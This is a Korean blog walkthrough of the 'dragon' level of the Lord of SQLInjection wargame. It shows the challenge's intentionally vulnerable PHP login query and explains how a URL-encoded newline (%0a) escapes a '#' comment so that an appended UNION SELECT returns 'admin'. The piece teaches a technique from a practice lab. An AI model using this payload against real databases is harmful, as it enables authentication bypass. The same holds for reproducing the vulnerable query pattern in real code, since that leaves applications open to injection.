20번째 문제인 dragon이다.
http://www.wechall.net
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
이번 문제는 특이하게 입력 가능한 파라미터가 주석 뒤에 위치하고 있다. 즉 우리가 어떤 파라미터를 입력하든 쿼리에서 실행되지 않기 때문에 기존의 방법은 통하지 않는다.
주석으로 막혀 있는데 어떻게 우회하란 걸까? 이는 MySQL에서 '#' 주석, 즉 한 줄 주석이 어디까지 적용되는지를 알 필요가 있다.
MariaDB [(none)]> select 'guest'
-> union select 'admin';
+-------+
| guest |
+-------+
| guest |
| admin |
+-------+
2 rows in set (0.004 sec)
SQL 쿼리는 여러줄로 입력할 수 있으며 개행을 허용한다. 그렇기 때문에 꼭 모든 키워드나 문자열을 한 줄로 입력할 필요가 없으며 위처럼 여러줄로 나눠서 입력할 수도 있는데 여기서 '#' 문자를 사용하여 주석을 입력하면 해당 라인에서 주석 문자 뒤에 있는 문자열만 주석처리된다.
MariaDB [(none)]> select 'hello' # or select not. I don't care.
-> union select 'admin';
+-------+
| hello |
+-------+
| hello |
| admin |
+-------+
2 rows in set (0.000 sec)
주석 문자를 사용했음에도 불구하고 쿼리는 정상적으로 수행된 것을 볼 수 있었다. 그렇다면 이를 문제에서는 어떻게 응용할 수 있을까? 현재 쿼리는 다음과 같이 구성되어 있다.
select id from prob_dragon where id='guest'# and pw='' or union select 'admin'
한 줄로 이루어진 쿼리기 때문에 주석 문자에 의해 나머지 문자들이 전부 사라진 것을 볼 수 있었는데 우리가 입력할 수 있는 부분은 pw 파라미터이므로 저 부분에 개행 문자를 넣어보면 어떨까? URI 인코딩에서는 %0a가 개행 문자기 때문에 이를 입력하여 서버측에서 쿼리를 개행시킬 수 있다.
위의 URL의 경우 아래와 같은 쿼리를 생성한다.
select id from prob_dragon where id='guest'# and pw='1'
and false union select 'admin'
%0a 값에 의해 쿼리가 개행되어 주석 문자로 처리되는 부분이 한정되고 개행된 이후 문자열이 그대로 쿼리로 삽입된다. 그렇기 때문에 결과적으로 다음과 같은 쿼리가 실행되며 이는 id 컬럼에 'admin' 이란 문자열을 삽입하기 때문에 쿼리의 결과로 'admin'을 받아올 수 있다.
select id from prob_dragon where id='guest' and false union select 'admin'
이번 문제는 한 줄 주석('#')을 우회하는 방법을 다룬 문제였다. 생각도 못한 방법이었기 때문에 좀 까다로웠지만 잘 정리된 블로그에서 본 것처럼 한 줄 주석이 어디까지 적용되는지를 생각해서 풀 수 있었다. 역시 불필요한 쿼리는 남겨두지 않고 바로바로 지우는 것이 좋을 것 같다.
'챌린지 > los.rubiya.kr' 카테고리의 다른 글
Lord of SQLInjection - xavis (0) | 2021.01.15 |
---|---|
Lord of SQLInjection - nightmare (0) | 2021.01.13 |
Lord of SQLInjection - zombie_assassin (0) | 2021.01.11 |
Lord of SQLInjection - succubus (0) | 2021.01.06 |
Lord of SQLInjection - assassin (0) | 2021.01.05 |